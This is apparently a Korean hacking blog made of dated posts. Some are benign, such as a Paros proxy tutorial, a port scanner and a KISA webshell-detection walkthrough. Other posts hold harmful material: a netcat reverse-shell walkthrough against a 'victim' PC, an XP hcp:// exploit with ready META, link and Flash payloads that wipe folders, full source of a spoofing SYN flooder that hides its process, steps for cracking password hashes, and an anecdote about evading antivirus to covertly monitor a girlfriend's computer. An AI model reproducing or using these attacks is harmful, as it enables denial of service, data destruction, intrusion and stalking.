이 프록시 툴을 이용하여 중간에 요청 데이터를 볼 수 있고 또한 수정하여 요청할 수도 있습니다.
바로 이런 방식으로 데이터를 변조하게 되는 것입니다
.

그럼 프록시 툴 중 대표적인 두 가지를 소개 합니다.

[1] Paros

1. 개요

현재 가장 많이 쓰이는 프록시 툴이라 할 수 있습니다.

인터페이스가 상당히 직관적이며 조작 역시 편리 합니다.

아래의 주소에서 다운 받을 수 있습니다.

http://www.parosproxy.org/download.shtml


 

2. 설치

파로스 툴은 JVM 환경에서 돌아 갑니다.

즉 운영체제에 맞는 JDK 를 설치 하셔야 합니다.
JDK 다운로드 http://www.oracle.com/technetwork/java/javase/downloads/index.html
그리고 Paros 를 설치 하면 됩니다.

3. 환경 설정

a. 프록시 포트 확인 하기

Paros 를 웹 프록시를 사용 하려면 우선 Paros 의 포트를 확인 해야 합니다

아래와 같이 Tool > Option 메뉴로 이동하시면 옵션 창이 나옵니다. Local proxy 부분에 8080 포트가 웹 프록시로 사용할 포트가 됩니다.

그리고 SSL 통신은 8443 포트를 사용합니다.
이 포트를 사용해도 되고 변경하여도 됩니다.

사용자 삽입 이미지


b.
웹 브라우저 프록시 설정하기

위에서 Paros의 통신 포트를 확인 하였습니다.
이번에는 내 컴퓨터가 인터넷을 이용할 때 프록시로 Paros 를 사용하겠다고 명시 해야 합니다.

아래와 같이 IE 에서 도구 > 인터넷 옵션 > 연결 > LAN 설정으로 들어가서

프록시 주소와 포트를 지정 해 줍니다.

사용자 삽입 이미지

Paros 가 로컬에 있고 8080 포트를 사용하기 때문에 위와 같이 설정 합니다.

드디어 프록시 설정이 완료 되었습니다. 이제부터 웹 사이트 서핑시 Paros 를 로컬 프록시로 사용할 수 있게 되었습니다.

3. Paros 사용하기

기본적으로 Paros 는 웹 요청과 응답 사이에 클라이언트와 서버가 주고 받은 패킷들에 대한 Viewing 을 제공합니다.
아래 화면은 mkex.pe.kr 사이트에 접속할 때 주고 받은 요청/응답 메시지 입니다.

사용자 삽입 이미지

요청 데이터는 Request , 응답 데이터는 Response. 탭에 나타납니다

4. 요청 중간에 개입 하기

이제 본격적으로 Paros 를 사용해서 웹 서버와 통신 중가에 끼어 들어 데이터를 보고 변조 하는 방법에 대해 알아 봅니다.

사용자 삽입 이미지

위 그림을 보시면 Trap 이 바로 이 역할을 할 수 있게 합니다.

중간에 Trap request, Trap response 를 체크 하면 요청/응답에 대한 패킷을 정지하여 데이터를 보고 변경할 수 있게 합니다. 요청 흐름은 Continue 버턴을 통해서 하나하나 이루어 집니다.

이 두 체크를 해제 하면 요청과 응답은 한번에 이루어 지지만 이것이 체크되어 있으면 요청과 응답은 항상 Continue 를 클릭할 때 마다 순차적으로 이루어 집니다.

데이터 변조는 이런 식으로 이루어 집니다. 위 그림에서 여러 HTTP 헤더가 보이는데 이 중 일부 값을 변경하여 요청을 하는 방식 입니다.

2011/11/12 15:51 2011/11/12 15:51

필요한 도구 - 공격자 (HOST) 희생자 (GUEST)

nc.exe

사용자 삽입 이미지

1. 공격자 pc에서 nc -l -p 8080

을 입력후 대기한다

사용자 삽입 이미지

그리고 희생자 pc에서 nc xxx.xxx.xxx.xxx. 8080 -e cmd.exe 를 입력한다

여기서 IP는 공격자의 IP를 입력한다

사용자 삽입 이미지

다시 공격자 pc로 와서 쉘을 확인하면

그림과 같이 접속되서 cmd 명령이 실행되어있음을 보여준다

사용자 삽입 이미지


희생자 pc에서 폴더생성도 가능하다


사용자 삽입 이미지

보시다시피 mkdir 로 폴더생성하면 희생자 pc 쪽에서 폴더가 생성됨을 볼수있다



2011/11/12 14:45 2011/11/12 14:45
윈도우 XP의 버그를 이용한 사용자 시스템 파괴에서 자기 보호하기

마소가 버그 자체를 인정하고 있지 않으므로 이러한 버그를 유포해도 해결책이 존재 하
지 않습니다.

먼저 버그 조차도 있는지 없는지 모르시는 분들을 위해서 자기 XP 시스템을 점검할 수
있는 방법부터 설명합니다.

일단 c:/test 폴더를 만들고 지워져도 되는 파일을 몇개 가져다 놓습니다.

그리고 익스플로러 주소에 다음과 같이 입력합니다.

hcp://system/DFS/uplddrvinfo.htm?file://c:test*

그러면 헬프센터(도움말)이 뜨고 test 폴더아래의 파일은 홀랑 지워집니다.

c: 루트도 지워지고 다 지워집니다. 대신 시스템 파일은 지워졌다가 복구됩니다.

만일 해커가 html 파일에 meta 태그를 이용하여 간단히 xp 사용자의 폴더하나를 날려버
릴 수 있습니다.

<META HTTP-EQUIV=REFRESH        CONTENT= "1;
URL=hcp://system/DFS/uplddrvinfo.htm?file://c:test*">

메타태그로 1초후에 폴더 날리는 도움말 띄우도록 해버리는 겁니다.

또는

<a href="hcp://system/DFS/uplddrvinfo.htm?file://c:test*">성인 동영상</a>

야한 유혹이나 야한 사진 링크로 클릭하게 만들수도 있습니다.

플래시 파일을 이용하여 1프레임에다가

getURL("hcp://system/DFS/uplddrvinfo.htm?file://c:a*")
getURL("hcp://system/DFS/uplddrvinfo.htm?file://c:b*")
getURL("hcp://system/DFS/uplddrvinfo.htm?file://c:c*")
...

이렇게 해 놓으면 그 폴더들 몽창 날라가 버림니다.

만일 해커들이 야한 플래시 게임이라고 게시판에 이런 플래시 파일을 마구 올리거나 메
일로 html 페이지, 플래시 파일을 마구 보내면 그 중에 XP 사용자들 시스템 홀랑 말아
먹어버리는 겁니다.

시스템 파일은 보호가 되지만 일반 파일들은 몽창 다 지워져 버림니다.

공통으로 사용하는 프로그램들은 존재합니다. 그 프로그램들이 자료를 저장하는 폴더
를 겨냥하거나 설치된 경로를 겨냥하거나, 자료저장하는 폴더이름을 유추해서 이런 시
스템 파괴를 하면 어떻게 되겠습니까?

시스템 자체는 살아있지만 중요한 파일들 몽창 날리는 겁니다.

회사에서 캐드자료 열라 저장했는데 플래시 파일이 캐드버전별로 저장하는 폴더를 겨냥
해서 폴더내부 파일들 확 다 지워버리면 회사 망할 수도 있습니다.

마소는 인정조차 하지 않고 있으며 영문판 서비스팩에서 소리없이 수정했습니다. 각 나
라 버전의 서비스 팩이 나오면 고쳐지겠죠. 그러나 서비스팩 설치 안하고 쓰는 사람들
이 훨씬 더 많고 아직 서비스 팩나온지 몇일 안됬습니다.

이 상황에서 전 세계 XP 사용자들 대부분이 이 시스템 파괴에 노출이 되어 있는 것입니
다.

해결방법은 아래와 같습니다.

***해결방법***

1. 아래의 파일을 삭제하거나 이름을 바꾼다.
C:WINDOWSPCHEALTHHELPCTRSystemDFSuplddrvinfo.htm
- 원인이 되는 파일입니다. 도움말이 이 파일을 이용하면서 이러한 치명적인 결함을 노
출하고 있습니다.

2. 해당 파일에서 아래 코드를 찾아 삭제또는 수정한다.

var oFSO = new ActiveXObject ( "Scripting.FileSystemObject" );
try
{
oFSO.DeleteFile( sFile );
}

이 부분을 찾아서 삭제하거나 아래와 같이 파일을 삭제하는 동작을 할 수 없도록 수정해
야 합니다.

var oFSO = new ActiveXObject ( "Scripting.FileSystemObject" );
try
{
/***oFSO.DeleteFile( sFile );***/
}

이 내용을 보는 즉시 자신의 XP 시스템을 점검하고 문제를 해결하셔야 합니다.

호기심이 발동하더라도 위와 같은 HTML 파일이나 플래시 파일 만들어서 배포하면 바
로 해커되버리는 것이니 하셔서는 안됩니다.

자기 시스템 보호하라고 올리는 글입니다.

/*
모든 업데이트가 되있는 제 시스템에서는 지워지지 않았는데
다른분들 테스트 해보시고 이상이 있으면 코멘트 달아주세요
*/
2009/09/30 21:41 2009/09/30 21:41
FTP의 보안 취약점 IRC Lecture
Lecture Log
May 18th 2002
Write : By Vegas
번역 : By Zenky(zenky77@hananet.net)
2009/09/30 21:33 2009/09/30 21:33
소스설명)
레지스트리에서 물리적인 메모리를 추출하는 소스


/////////////////////////////////////////////////////////////////////////
//
//  Module:
//    Read physical memory information from registry
//    HKLM\HARDWARE\RESOURCEMAP\System Resources\Physical Memory
//
//  Author:
//    CDrea (CDrea_at_SafeChina[dot]ORG
//
//  Version:
//    2007-12-24  v0.1
//
/////////////////////////////////////////////////////////////////////////


#include <windows.h>
#include <stdio.h>

struct _mi {
        LARGE_INTEGER        Address;
        DWORD                        Length;
        DWORD                        Reserved;
};

#define MI_LEN        sizeof(struct _mi)

typedef struct _phy_mem_info {
        DWORD                BusCount;
        DWORD                MemoryRangeCount;
        struct _mi*        MemInfoPtr;
}PHY_MEM_INFO;

BOOL
GetPhyMemoryInfo(
        OUT PHY_MEM_INFO* PhyMemInfo
        );

void logo();

int main()
{
        PHY_MEM_INFO        PhyMemInfo  = {0};
        LARGE_INTEGER        TotalSize = {0};

        logo();

        if(!GetPhyMemoryInfo(&PhyMemInfo)) return -1;

        for(DWORD i = 0; i < PhyMemInfo.MemoryRangeCount; i++)
        {
                TotalSize.QuadPart += (PhyMemInfo.MemInfoPtr + i)->Length;
        }

        printf("Total memory: %d MB\n", TotalSize.QuadPart / 1024 / 1024);
        printf("Bus count: %d\n", PhyMemInfo.BusCount);
        printf("Memory ranges:\n");
        for(DWORD i = 0; i < PhyMemInfo.MemoryRangeCount; i++)
        {
                printf("  0x%-016I64X  Length: 0x%X (%dK)\n",
                        (PhyMemInfo.MemInfoPtr + i)->Address.QuadPart,
                        (PhyMemInfo.MemInfoPtr + i)->Length,
                        (PhyMemInfo.MemInfoPtr + i)->Length / 1024);
        }

        if(PhyMemInfo.MemInfoPtr != NULL)
                free(PhyMemInfo.MemInfoPtr);
        return 0;
}

BOOL
GetPhyMemoryInfo(
        OUT PHY_MEM_INFO* PhyMemInfo
)
{
        HKEY hKey;
        int nRet = 0;

        nRet = RegOpenKey(HKEY_LOCAL_MACHINE, "Hardware\\ResourceMap\\System Resources\\Physical Memory", &hKey);
        if(nRet != ERROR_SUCCESS)
        {
                fprintf(stderr, "RegOpenKey() failed. --err: %d\n", GetLastError());
                return FALSE;
        }

        DWORD Type = 0;
        DWORD cbData = 0;
        LPBYTE lpData = NULL;
        LPBYTE pmrc = NULL;

        RegQueryValueEx(hKey, ".Translated", 0, &Type, NULL, &cbData);
        lpData = (LPBYTE)malloc(cbData);
        RegQueryValueEx(hKey, ".Translated", 0, &Type, lpData, &cbData);
        if(nRet != ERROR_SUCCESS)
        {
                fprintf(stderr, "RegQueryValueEx() failed. --err: %d\n", GetLastError());
                return FALSE;
        }

        DWORD BusCount = *(DWORD*)lpData;
        if(BusCount <= 0)
        {
                fprintf(stderr, "Cannot get valid memory information.\n");
                return FALSE;
        }

        LPBYTE p = lpData + 0x10;
        DWORD MemoryRangesCount = 0;
        for(DWORD i = 1; i <= BusCount; i++)
        {
                MemoryRangesCount += *(DWORD*)p;
                p = p + 0x8 + i * (*(DWORD*)p) * 0x10;
        }
        p = lpData + 0x10;

        PhyMemInfo->MemInfoPtr = (struct _mi*)malloc(MI_LEN * MemoryRangesCount);
        if(PhyMemInfo->MemInfoPtr == NULL)
        {
                fprintf(stderr, "Not enough memory.\n");
                return FALSE;
        }

        LPBYTE pmi = NULL;
        struct _mi* ptr = PhyMemInfo->MemInfoPtr;
        for(DWORD i = 1; i <= BusCount; i++)
        {
                pmi = p + 0x8;
                for(DWORD j = 0; j < *(DWORD*)p; j++)
                {
                        ptr->Address.LowPart = *(DWORD*)pmi;
                        ptr->Address.HighPart = *(long*)(pmi + 0x4);
                        ptr->Length  = *(DWORD*)(pmi + 0x8);
                        ptr++;
                        pmi += MI_LEN;
                }

                p = p + 0x8 + i * (*(DWORD*)p) * 0x10;
        }

        PhyMemInfo->BusCount = BusCount;
        PhyMemInfo->MemoryRangeCount = MemoryRangesCount;

        RegCloseKey(hKey);
        free(lpData);
        return TRUE;
}

void logo()
{
        printf("+------------------------------------+\n");
        printf("|  Physical Memory Information v0.1  |\n");
        printf("|  Write by CDrea                    |\n");
        printf("|  CDrea_at_SafeChina[dot]ORG        |\n");
        printf("|  2007-12-24                        |\n");
        printf("|  http://www.safechina.org          |\n");
        printf("+------------------------------------+\n\n");
}
2009/09/30 03:40 2009/09/30 03:40
이거보다 짧은거 있으면..

#include
#include
#include
#include
#include
#include
#include

int port_scan(char *hostaddr, int cport);
int main(int argc, char *argv[])
{
int cport; // 포트 루프용 변수
if (argc < 2) {
printf("사용 방법 : ./portscan 호스트 IP ");
exit(1);
}
// 1부터 1023번 포트까지 체크 반복합니다.
for (cport = 1;cport < 1024;cport++) {
if (port_scan(argv[1], cport) == 0) {
printf("%5d open ", cport);
}
}
return 0;
}
int port_scan(char *hostaddr, int cport)
{
int sockfd; // 소켓 기술자
struct sockaddr_in destaddr; // 소켓 주소 구조체
int pok;
// 소켓 기술자 초기화
sockfd = socket(AF_INET, SOCK_STREAM, 0);
destaddr.sin_family = AF_INET;
destaddr.sin_addr.s_addr = inet_addr(hostaddr);
destaddr.sin_port = htons(cport);
bzero(&(destaddr.sin_zero), 8);

pok = connect(sockfd, (struct sockaddr *)&destaddr, sizeof(struct sockaddr));
close(sockfd);
// 연결 되면 0을, 아니면 -1을 리턴
if (pok == -1)
return -1;
return 0;
}
컴파일 할땐..: # gcc -o portscan portscan.c

실행 할시..: # ./portscan 호스트 IP
2009/06/18 17:39 2009/06/18 17:39

전에 아는 분이. 여자친구 컴퓨터를 모니터링 하고 싶다고 했다.

절대 죽어도 안된다는 답변을 했고 그 아는 분이. 술을 마시고 죽는다고 했다.

참 이런 협박에 넘어가서.

좋다 . 그래 아주 간단하게 알려 주겠다. ㅎㅎ

그래서 해킹 툴을 알려 주고.

테스트 결과 100% 백신 걸리는 것이다 이런 .

그래서 용량을 압축하고 파일을 병합고 삽질 삽질 결과 V3 백신에 걸리지 않았다.

그래서 그친구는 약 1달 정도 여친 PC 를 모니터링 하더니 결국 헤어지고 말았다.

그때 사용했단 용량 압축 프로그램과 파일 합치는 프로그램 입니다. ^^

2009/06/18 17:21 2009/06/18 17:21
다운로드 :

출처 : john의 공식 site
         http://www.openwall.com/john/

사용법 :

1. 윈도우즈 용 john the ripper를 다운 받는다.

2. 특정한 위치에 저장을 한다.

3. cmd 창으로 해당 폴더로 이동한다.

4. john the ripper 1.7.x 버전의 경우 john-386.exe가 있다.
    그 이전 버전에는 john.exe로 존재하는 경우가 있다. (Windows 버전의 경우만 그렇다. 나머진 모른다.)
   이 위치를 잘 기억해 두자. (예. c:\john1701\run\)

5. 리눅스 시스템에서 암호화된 password를 가져와서 pass.txt로 저장한다.  
    자세히 보기
 
6. c:\john1701\run\john-386.exe pass.txt를 실행한다.
    옵션에 대한 정확한 글 보기 (출처: maxoverpro님의 네이버 블로그)

7. 진득하니... 오래오래... 기다린다...
    중간중간 너무 궁금하면 아무키나 누른다... 그럼 현재 검사하고 있는 문자열을 보여준다.
    넉넉히 몇일을 기다려 주자. 쩌비...

2009/06/18 17:16 2009/06/18 17:16
본 프로그램은 웹상에서 비밀번호 같은 것은 다 ***로 찍히잖아요?
그걸 원래 문자열로 보여주는 프로그램입니다.
2009/06/18 17:14 2009/06/18 17:14

다운 받으시구요..
컴파일 하시면 됩니다..
사용
./synk4 [srcaddr] [dstaddr] [low] [high
*srcaddr:출발지 주
*dstaddr:도착지 주
*low:시작 포트 번
*high: 끝 포트 번
만약 srcaddr(출발지 주소)가 0이면 임의의 주소(random)가 사용됩니다.


/* Syn Flooder by Zakath
 * TCP Functions by trurl_ (thanks man).
 * Some more code by Zakath.
 * Speed/Misc Tweaks/Enhancments -- ultima
 * Nice Interface -- ultima
 * Random IP Spoofing Mode -- ultima
 * How To Use:
 * Usage is simple. srcaddr is the IP the packets will be spoofed from.
 * dstaddr is the target machine you are sending the packets to.
 * low and high ports are the ports you want to send the packets to.
 * Random IP Spoofing Mode: Instead of typing in a source address,
 * just use '0'. This will engage the Random IP Spoofing mode, and
 * the source address will be a random IP instead of a fixed ip.
 * Released: [4.29.97]
 *  To compile: cc -o synk4 synk4.c
 *
 */
#include <signal.h>
#include <stdio.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
/* These can be handy if you want to run the flooder while the admin is on
 * this way, it makes it MUCH harder for him to kill your flooder */
/* Ignores all signals except Segfault */
// #define HEALTHY
/* Ignores Segfault */
// #define NOSEGV
/* Changes what shows up in ps -aux to whatever this is defined to */
// #define HIDDEN "vi .cshrc"
#define SEQ 0x28376839
#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))

unsigned long send_seq, ack_seq, srcport;
char flood = 0;
int sock, ssock, curc, cnt;

/* Check Sum */
unsigned short
ip_sum (addr, len)
u_short *addr;
int len;
{
 register int nleft = len;
 register u_short *w = addr;
 register int sum = 0;
 u_short answer = 0;
 
 while (nleft > 1)
   {
    sum += *w++;
    nleft -= 2;
   }
 if (nleft == 1)
   {
    *(u_char *) (&answer) = *(u_char *) w;
    sum += answer;
   }
 sum = (sum >> 16) + (sum & 0xffff);   /* add hi 16 to low 16 */
 sum += (sum >> 16);           /* add carry */
 answer = ~sum;                /* truncate to 16 bits */
 return (answer);
}
void sig_exit(int crap)
{
#ifndef HEALTHY
 printf("[H[JSignal Caught. Exiting Cleanly.\n");
 exit(crap);
#endif
}
void sig_segv(int crap)
{
#ifndef NOSEGV
 printf("[H[JSegmentation Violation Caught. Exiting Cleanly.\n");
 exit(crap);
#endif
}

unsigned long getaddr(char *name) {
 struct hostent *hep;
 
 hep=gethostbyname(name);
 if(!hep) {
  fprintf(stderr, "Unknown host %s\n", name);
  exit(1);
 }
 return *(unsigned long *)hep->h_addr;
}


void send_tcp_segment(struct iphdr *ih, struct tcphdr *th, char *data, int dlen) {
 char buf[65536];
 struct {  /* rfc 793 tcp pseudo-header */
  unsigned long saddr, daddr;
  char mbz;
  char ptcl;
  unsigned short tcpl;
 } ph;
 
 struct sockaddr_in sin; /* how necessary is this, given that the destination
     address is already in the ip header? */
 
 ph.saddr=ih->saddr;
 ph.daddr=ih->daddr;
 ph.mbz=0;
 ph.ptcl=IPPROTO_TCP;
 ph.tcpl=htons(sizeof(*th)+dlen);
 
 memcpy(buf, &ph, sizeof(ph));
 memcpy(buf+sizeof(ph), th, sizeof(*th));
 memcpy(buf+sizeof(ph)+sizeof(*th), data, dlen);
 memset(buf+sizeof(ph)+sizeof(*th)+dlen, 0, 4);
 th->check=ip_sum(buf, (sizeof(ph)+sizeof(*th)+dlen+1)&~1);
 
 memcpy(buf, ih, 4*ih->ihl);
 memcpy(buf+4*ih->ihl, th, sizeof(*th));
 memcpy(buf+4*ih->ihl+sizeof(*th), data, dlen);
 memset(buf+4*ih->ihl+sizeof(*th)+dlen, 0, 4);
 
 ih->check=ip_sum(buf, (4*ih->ihl + sizeof(*th)+ dlen + 1) & ~1);
 memcpy(buf, ih, 4*ih->ihl);
 
 sin.sin_family=AF_INET;
 sin.sin_port=th->dest;
 sin.sin_addr.s_addr=ih->daddr;
 
 if(sendto(ssock, buf, 4*ih->ihl + sizeof(*th)+ dlen, 0, &sin, sizeof(sin))<0) {
  printf("Error sending syn packet.\n"); perror("");
  exit(1);
 }
}

unsigned long spoof_open(unsigned long my_ip, unsigned long their_ip, unsigned short port) {
 int i, s;
 struct iphdr ih;
 struct tcphdr th;
 struct sockaddr_in sin;
 int sinsize;
 unsigned short myport=6969;
 char buf[1024];
 struct timeval tv;
 
 ih.version=4;
 ih.ihl=5;
 ih.tos=0;   /* XXX is this normal? */
 ih.tot_len=sizeof(ih)+sizeof(th);
 ih.id=htons(random());
 ih.frag_off=0;
 ih.ttl=30;
 ih.protocol=IPPROTO_TCP;
 ih.check=0;
 ih.saddr=my_ip;
 ih.daddr=their_ip;
 
 th.source=htons(srcport);
 th.dest=htons(port);
 th.seq=htonl(SEQ);
 th.doff=sizeof(th)/4;
 th.ack_seq=0;
 th.res1=0;
 th.fin=0;
 th.syn=1;
 th.rst=0;
 th.psh=0;
 th.ack=0;
 th.urg=0;
 th.res2=0;
 th.window=htons(65535);
 th.check=0;
 th.urg_ptr=0;
 
 gettimeofday(&tv, 0);
 
 send_tcp_segment(&ih, &th, "", 0);
 
 send_seq = SEQ+1+strlen(buf);
}
void upsc()
{
 int i;
 char schar;
 switch(cnt)
   {
   case 0:
      {
       schar = '|';
       break;
      }
   case 1:
      {
       schar = '/';
       break;
      }
   case 2:
      {
       schar = '-';
       break;
      }
   case 3:
      {
       schar = '\\';
       break;
      }
   case 4:
      {
       schar = '|';
       cnt = 0;
       break;
      }
   }
 printf("[H[1;30m[[1;31m%c[1;30m][0m %d", schar, curc);
 cnt++;
 for(i=0; i<26; i++)  {
  i++;
  curc++;
 }
}
void init_signals()
{
 // Every Signal known to man. If one gives you an error, comment it out!
 signal(SIGHUP, sig_exit);
 signal(SIGINT, sig_exit);
 signal(SIGQUIT, sig_exit);
 signal(SIGILL, sig_exit);
 signal(SIGTRAP, sig_exit);
 signal(SIGIOT, sig_exit);
 signal(SIGBUS, sig_exit);
 signal(SIGFPE, sig_exit);
 signal(SIGKILL, sig_exit);
 signal(SIGUSR1, sig_exit);
 signal(SIGSEGV, sig_segv);
 signal(SIGUSR2, sig_exit);
 signal(SIGPIPE, sig_exit);
 signal(SIGALRM, sig_exit);
 signal(SIGTERM, sig_exit);
 signal(SIGCHLD, sig_exit);
 signal(SIGCONT, sig_exit);
 signal(SIGSTOP, sig_exit);
 signal(SIGTSTP, sig_exit);
 signal(SIGTTIN, sig_exit);
 signal(SIGTTOU, sig_exit);
 signal(SIGURG, sig_exit);
 signal(SIGXCPU, sig_exit);
 signal(SIGXFSZ, sig_exit);
 signal(SIGVTALRM, sig_exit);
 signal(SIGPROF, sig_exit);
 signal(SIGWINCH, sig_exit);
 signal(SIGIO, sig_exit);
 signal(SIGPWR, sig_exit);
}
main(int argc, char **argv) {
   int i, x, max, floodloop, diff, urip, a, b, c, d;
   unsigned long them, me_fake;
   unsigned lowport, highport;
   char buf[1024], *junk;
  
   init_signals();  
#ifdef HIDDEN
   for (i = argc-1; i >= 0; i--)
     /* Some people like bzero...i prefer memset :) */
     memset(argv[i], 0, strlen(argv[i]));
   strcpy(argv[0], HIDDEN);
#endif
  
   if(argc<5) {
      printf("Usage: %s srcaddr dstaddr low high\n", argv[0]);
      printf("    If srcaddr is 0, random addresses will be used\n\n\n");
     
      exit(1);
   }
   if( atoi(argv[1]) == 0 )
     urip = 1;
   else   
     me_fake=getaddr(argv[1]);
   them=getaddr(argv[2]);
   lowport=atoi(argv[3]);
   highport=atoi(argv[4]);
   srandom(time(0));
   ssock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
   if(ssock<0) {
      perror("socket (raw)");
      exit(1);
   }
   sock=socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
   if(sock<0) {
      perror("socket");
      exit(1);
   }
   junk = (char *)malloc(1024);
   max = 1500;
   i = 1;
   diff = (highport - lowport);
  
   if (diff > -1)
     {
 printf("[H[J\n\nCopyright (c) 1980, 1983, 1986, 1988, 1990, 1991 The Regents of the University\n of California. All Rights Reserved.");
 for (i=1;i>0;i++)
   {
      srandom((time(0)+i));
      srcport = getrandom(1, max)+1000;
      for (x=lowport;x<=highport;x++)
        {
    if ( urip == 1 )
      {
         a = getrandom(0, 255);
         b = getrandom(0, 255);
         c = getrandom(0, 255);
         d = getrandom(0, 255);
         sprintf(junk, "%i.%i.%i.%i", a, b, c, d);
         me_fake = getaddr(junk);
      }
   
    spoof_open(/*0xe1e26d0a*/ me_fake, them, x);
    /* A fair delay. Good for a 28.8 connection */
    usleep(300);
   
    if (!(floodloop = (floodloop+1)%(diff+1))) {
       upsc(); fflush(stdout);
    }
        }
   }
     }
   else {
      printf("High port must be greater than Low port.\n");
      exit(1);
   }
}

2009/06/18 16:40 2009/06/18 16:40
[웹쉘] asp,php,jsp,aspx,cgi - 파일업로드 취약점에 사용 - 아래 나오는 공격 스크립트 입니다.

좀 위험 하긴 합니다.

2009/05/20 18:32 2009/05/20 18:32

웹방화벽 등의 고가의 보안 장비를 구입할 형편이나 예산이 되지 않는 중소기업의 웹 페이지는 늘 악성 공격에 위협을 받고 있다.

나름대로 이래저래 긴급 조치를 해보지만 보안 취약점을 원천적으로 해결하거나, 이미 악성 코드가 유입된 경우 이를 찾아 제거하기가 쉽지 않다. 특히 이런 악성코드는 일반 백신 소프트웨어로는 제대로 탐지가 되지 않아, 일일이 파일을 열어 확인하지 않는 이상 정확한 확인 조차 어렵다.

보통 윈도우 2000/2003 서버 운영체계를 사용하는 서버에서 보안 취약점 문제가 빈번하게 발생하는데, 그 중 윈도우 서버 관리자나 개발자라면 한번쯤음 들어봤음직 한 '웹셀'이란 해킹 툴이 가장 큰 문제다.

 

웹쉘은 해커 또는 크래커가 원격에서 웹페이지 형태의 탐색기 프로그램을 통해 해당 서버를 마음대로 주무를 수 있게 하는 해킹 툴이다. 즉 그 나쁜 놈(주로 중국 애들이다)들은 서버의 취약점(SQL Injection 등)을 이용해 이 웹셀 파일을 서버에 저장시킴으로써,

원격에서 인터넷 익스플로러를 통해 피해 서버의 파일, 폴더를 자유자재로 조작할 수 있게 된다. (윈도우 탐색기를 원격으로 사용하는 셈이다.)

사용자 삽입 이미지

 - 웹쉘을 통해 인터넷 익스플로러만으로도 대상 서버의 파일, 폴더를 훤히 제어할 수 있다. (이런게 가능하다니 신기하기까지 하다.)

 

나 역시도 이 웹쉘 때문에 한동안은 쌩고생과 삽질을 해야 했다.

내노라 하는 백신 프로그램, 방화벽 프로그램 등을 통해 어느 정도 걷어내긴 했지만, 수십만개나 되는 윈도우 전체 파일을 하나하나 뒤져

웹쉘 소스가 사입된 걸 찾아내기란 삽질도 그런 삽질이 따로 없다.

 

결국 '언발에 오줌누는' 격으로 지금까지 웹쉘의 근본을 뿌리 뽑지 못하고 근근히 버티고 있던 터였다.

이처럼 충분한 웹 보안 장비를 마련할 수 없는 우리네 중소기업을 위해 '한국정보보호진흥원(이하 KISA)'에서는 다양한 정보와 툴을 제공하고 있다.

특히 KISA의 부설 센터인 '인터넷침해사고 대응지원센터(www.krcert.or.kr)'를 통해 무료 배포되는 웹 방화벽 프로그램인 '웹나이트' 역시 효율적으로 외부로부터의 공격을 차단해주어 '가뭄에 단비' 역할을 하고 있다.

('웹나이트' 웹방화벽 프로그램에 대해서도 조만간 포스팅 하도록 하겠다.)  

 

KISA에서 우리같은 '중생'을 구제하기 위해 무료 공급하는 보안 프로그램이 두어개 더 있다.

하나는 서버 내 유입된 악성코드를 탐지해 주는 'MC-Finder'와 웹쉘 탐지용으로 최근에 배포된 'Whistl'이 그것. (편의상 Whistl은 '휘슬'로 표기하겠다.) 두 프로그램은 KISA와 보안 업체 개발자들이 모여 자체 개발한 순수 국산 무료 보안 프로그램이다.

 

무료라 해서 그냥 막 퍼주는 건 아니고, 인터넷침해사고 대응지원센터 홈페이지에서 신청양식을 다운로드 받아 이를 작성하여 관계자에게 메일로 신청해야 한다. 센터에 따르면 대기업이나 관공서 등보다는 주로 중소기업체를 대상으로 우선 배포한다 했다.

신청양식 문서는 이 포스트에 게시하였으니 다운, 작성 후 각각 mcfinder@krcert.or.krwhistl@krcert.or.kr로 발송 후 기다리면 된다.

 

이 포스트에서는 웹쉘 소스 탐지 프로그램인 '휘슬'에 대해 살펴보기로 한다.

사용신청서를 보낸 후 사용 적격으로 판정되면 하루 이틀 사이에 휘슬 설치 파일을 받을 수 있다.

휘슬은 현재 리눅스(커널 v2.4, 2.6)와 윈도우 운영체계만 지원하며, 실행 후 센터에서 함께 알려 준 아이디와 패스워드를 입력해야 최종 사용이 가능하다.

 

지원센터에서 보낸 파일은 총 2개다. 프로그램 압축 파일계정 인증을 위한 bin 파일(validate.bin)이다.

즉 프로그램 압축 파일을 푼 폴더에 인증용 bin 파일을 복사해 둬야 계정 로그인이 가능하다.

 

설치 압축 파일을 풀면 리눅스용과 윈도우용 압축 파일이 나오고 이 중 윈도우용 프로그램을 실행하면 된다.

프로그램은 설치하는 방식이 아니라 단발식 실행 방식이다.

 

whistl.exe 파일을 실행하면 아래와 같이 로그인 화면이 나오고, 센터에서 받은 계정을 입력하면 된다.

(계정은 회사 이름으로 정해지더라.)

사용자 삽입 이미지


로그인에 성공하면 제일 먼저 패턴 업데이트를 수행해야 한다. (업데이트는 자동 업데이트 설정이 가능하다.)


사용자 삽입 이미지


위와 같이 패턴 업데이트를 완료하면 이제 웹서버의 소스 파일 폴더를 지정하여 탐지를 시작한다.

윈도우 2000/2003 웹서버 환경이라면 대게 ASP 파일로 구성되겠지만, '휘슬'에서는 PHP나 JSP도 지원하고 있으므로

아래 화면과 같이 '환경설정' 메뉴에서 소스 파일 유형을 선택할 수도 있다.



사용자 삽입 이미지

자 이제 실제로 웹쉘 코드가 침투한 소스 파일이 있는지 떨린 마음으로 검색해 본다.

우리 회사 서버 환경은 윈도우2003의 IIS 기반 다중 웹서버에 소스 파일 서버를 따로 두어 폴더 공유를 하고 있다.

다행히도 휘슬은 웹서버의 로컬 폴더 뿐 아니라 원격공유 폴더도 검색할 수 있다. 

사용자 삽입 이미지

위 그림에서 C:\는 웹서버 로컬, Z:\는 소스 파일 서버의 공유 폴더다.

[검사시작] 버튼을 누르면 아래 그림과 같이 실제 스캔 작업이 진행된다. 

사용자 삽입 이미지


검사를 마친 나는 결과를 보고 경악하지 않을 수 없었다. 나름대로 유수의 백신, 보안 프로그램으로 항상 체크하고 점검하고 있는데

위와 같이 웹쉘 소스가 유입된 파일이 11개가 나왔다. 어쩐지 잊을만 하면 한번씩 툭툭 증상이 나타나곤 하더라... 덴장...

 

휘슬은 해당 소스 파일에 유입된 웹쉘 소스도 분석할 수 잇도록 '파일보기' 기능을 넣어 두었다.

실제로 위 그림에서 하나의 파일을 선택 후 '파일보기'를 선택하면...

사용자 삽입 이미지


이렇게 나온다. 이 암호화된 웹쉘 소스가 특정 asp 파일에 떡하니 삽입되어 있으니 일반 백신으로는 잡아내지 못한다.

